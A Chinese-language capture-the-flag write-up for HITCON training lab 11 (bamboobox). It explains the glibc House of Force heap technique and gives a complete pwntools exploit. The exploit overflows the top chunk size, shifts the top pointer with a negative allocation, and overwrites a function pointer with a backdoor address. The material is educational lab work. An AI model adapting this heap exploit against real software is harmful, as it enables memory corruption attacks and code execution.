本文最后更新于 2024年11月18日 晚上
House_force(HITCON training lab 11) 原理 House of Force是一种堆利用方法,一个堆想要通过House of Force利用需要以下条件
topchunk的size域可以控制
能够自由控制堆分配的大小
我们知道进行堆分配的时候,如果空闲块无法满足需求,就会从top chunk中分割出对应大小的堆块空间
下面是glibc对top chunk的验证
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 victim = av->top; size = chunksize(victim);if ((unsigned long ) (size) >= (unsigned long ) (nb + MINSIZE)) { remainder_size = size - nb; remainder = chunk_at_offset(victim, nb); av->top = remainder; set_head(victim, nb | PREV_INUSE | (av != &main_arena ? NON_MAIN_ARENA : 0 )); set_head(remainder, remainder_size | PREV_INUSE); check_malloced_chunk(av, victim, nb); void *p = chunk2mem(victim); alloc_perturb(p, bytes); return p; }
如果我们可以把size域改成一个非常大的数就可以进入这个if语句,一半把大小改成-1即可
1 2 3 4 5 6 remainder = chunk_at_offset(victim, nb);av ->top = remainder ; #define chunk_at_offset(p, s) ((mchunkptr)(((char *) (p)) + (s)))
这里会把top指针重新根据申请堆块的大小重新分配,如果我们能够控制这个remiander,就能实现地址任意写
于此同时,topchunk的size域也会更新,更新方法如下
1 2 3 4 victim = av->top ; size = chunksize(victim); remainder_size = size - nb; set_head(remainder, remainder_size | PREV_INUSE );
所以,如果我们想要下次在指定位置分配大小为 x 的 chunk,我们需要确保 remainder_size 不小于 x+ MINSIZE。
HITCON training lab 11 show函数
这是一个打印函数,很正常,没什么好说的
add函数
这是创建堆块的函数,输入大小和内容创建,并把堆块指针存在unk_6020c8
chang函数
这是一个对已有堆块的编辑函数,可以看到这里可以重新输入编辑内容的大小,存在堆溢出漏洞
remove函数
这是一个堆块的释放函数,删的很干净,什么也没留下
goobye_message
这是在退出循环后执行的函数,会执行两句话
magic函数
这里给了一个后门
思路 因为存在堆溢出,可以覆盖top_chunk的size域,并且malloc分配可以自由控制大小,那么我们就可以进行house_force
首先先溢出覆盖size域
1 2 3 add(0x30 ,"ddaa" ) payload=b'a' *0x30 +b'a' *8 +p64(0xffffffffffffffff ) change(0 ,0x41 ,payload)
在程序中,专门为goobye_message函数和hello_message函数创建了一个堆来存放函数地址
因为goobye_message是在程序退出后执行,那么思路就有了,如果把这两个地址覆盖成后门地址,那程序的最后执行的就是拿flag的函数
接着就是把top_chunk的指针指向0x95700
1 2 3 4 offest=-(0x40 +0x20 ) malloc_size=offest-0x10 add(malloc_size,"daad" ) add(0x10 ,p64(magic)*2 )
因为正常的申请后top_chunk指针的变化是这样的
top_chunk=原top_chunk+申请大小+0x10(pre_size和size),那么要把top_chunk指针往前走,自然要-0x10
可以看到此时的top_chunk指向了0x95700,大小为0x58,那么我们申请一个小于0x58大小的chunk就可以对覆盖掉两个message函数的指针了
最终exp 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 from pwn import * io=process('./bamboobox' ) libc=ELF('/home/joker/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc-2.23.so' )def show (): io.recvuntil("Your choice:" ) io.sendline('1' ) def add (size,name ): io.recvuntil("Your choice:" ) io.sendline('2' ) io.recvuntil("Please enter the length of item name:" ) io.send(str (size)) io.recvuntil("Please enter the name of item:" ) io.send(name)def change (idx,size,name ): io.recvuntil("Your choice:" ) io.sendline('3' ) io.recvuntil("Please enter the index of item:" ) io.send(str (idx)) io.recvuntil("Please enter the length of item name:" ) io.send(str (size)) io.recvuntil("Please enter the new name of the item:" ) io.send(name)def remove (idx ): io.recvuntil("Your choice:" ) io.sendline('4' ) io.recvuntil("Please enter the index of item:" ) io.send(str (idx)) magic=0x400d49 add(0x30 ,"ddaa" ) payload=b'a' *0x30 +b'a' *8 +p64(0xffffffffffffffff ) change(0 ,0x41 ,payload) offest=-(0x40 +0x20 ) malloc_size=offest-0x10 add(malloc_size,"daad" ) add(0x10 ,p64(magic)*2 ) io.sendline('5' ) io.interactive()
参考文章 ctfwiki-House Of Force
House Of Force